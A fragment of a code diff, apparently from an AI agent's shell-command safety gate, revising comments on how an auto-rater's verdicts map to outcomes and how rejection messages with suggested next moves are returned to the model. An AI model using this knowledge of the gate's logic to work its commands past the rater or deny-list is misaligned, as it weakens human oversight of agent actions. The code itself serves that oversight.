* only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
879
|
-
* therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
880
|
-
* mapping does not make.
|
|
881
|
-
* command that fails to statically resolve.)
|
|
922
|
+
* apply to it.* The script-env-leak arm is lifted with it, and doing so changes no outcome: a
|
|
923
|
+
* preflight only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
924
|
+
* would therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
925
|
+
* this mapping does not make.
|
|
882
926
|
*
|
|
883
927
|
* @param verdict The rater's verdict; `undefined` or a fail-closed verdict is `destructive` and so
|
|
884
928
|
* runs — the tripwire failing to answer does not revoke the human's standing decision, exactly as
|
|
@@ -1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;IACjG,kGAAkG;IAClG,IAAI,SAAS,CAAC,OAAO,KAAK,cAAc,EAAE,CAAC;QACzC,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,OAAO,EAAE,SAAS,EAAE,CAAC;IACpD,CAAC;IAED,4FAA4F;IAC5F,+FAA+F;IAC/F,8FAA8F;IAC9F,8FAA8F;IAC9F,gGAAgG;IAChG,iFAAiF;IACjF,IAAI,SAAS,CAAC,OAAO,KAAK,MAAM,EAAE,CAAC;QACjC,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,OAAO,EAAE,SAAS,EAAE,CAAC;IACnD,CAAC;IAED,6FAA6F;IAC7F,2FAA2F;IAC3F,4FAA4F;IAC5F,yFAAyF;IACzF,6FAA6F;IAC7F,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,OAAO,EAAE,SAAS,EAAE,CAAC;AACpD,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AACH,MAAM,UAAU,8BAA8B,CAC5C,OAAuC;IAEvC,MAAM,SAAS,GAAuB,OAAO,IAAI,mBAAmB,CAAC;IACrE,IAAI,SAAS,CAAC,OAAO,KAAK,QAAQ;QAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,OAAO,EAAE,SAAS,EAAE,CAAC;IAClF,IAAI,SAAS,CAAC,OAAO,KAAK,cAAc;QAAE,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,OAAO,EAAE,SAAS,EAAE,CAAC;IAC5F,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,OAAO,EAAE,SAAS,EAAE,CAAC;AACnD,CAAC"}
|
|
@@ -24,15 +24,18 @@
|
|
|
24
24
|
* - It does not serve a **deny-list** refusal. A deny entry is the user's own hardline, and
|
|
25
25
|
* "re-call the same command with a justification" is not a move the model has there; that message
|
|
26
26
|
* stays as it is, in `GthAgentRunner.decideToolApproval`.
|
|
27
|
+
* - It does not serve a command the gate's parser could not READ. There is no such refusal:
|
|
28
|
+
* [[EXT-81]] rates that command instead of refusing it, so every rejection this module renders is
|
|
29
|
+
* a JUDGED one and "call the same command with a justification" is always a move the model has.
|
|
27
30
|
*/
|
|
28
31
|
import type { ShellSafetyVerdict } from '#src/core/shell/rater.js';
|
|
29
|
-
/** Who refused the call — the opening sentence
|
|
32
|
+
/** Who refused the call — the opening sentence and the moves both follow from this. */
|
|
30
33
|
export type RejectionSource =
|
|
31
34
|
/** The human answered "no" at the escalation prompt (§6). */
|
|
32
35
|
'user'
|
|
33
36
|
/** The auto-rater refused during a negotiation (§5 / [[EXT-29]]). */
|
|
34
37
|
| 'rater';
|
|
35
|
-
/** The three moves §7 requires
|
|
38
|
+
/** The three moves §7 requires a JUDGED rejection to name. */
|
|
36
39
|
export declare const REJECTION_MOVES: string;
|
|
37
40
|
/**
|
|
38
41
|
* §7 — the clause that makes a suggestion actionable. Verbatim in substance from the spec:
|
|
@@ -55,9 +58,9 @@ export interface RejectionMessageOptions {
|
|
|
55
58
|
verdict?: ShellSafetyVerdict;
|
|
56
59
|
}
|
|
57
60
|
/**
|
|
58
|
-
* Build the
|
|
61
|
+
* Build the rejection message handed back to the model as the refused call's tool result.
|
|
59
62
|
*
|
|
60
|
-
*
|
|
63
|
+
* §7 shape, each part omitted when it does not apply:
|
|
61
64
|
* 1. who refused what;
|
|
62
65
|
* 2. the rater's explanation, when a rating exists;
|
|
63
66
|
* 3. the three moves — always;
|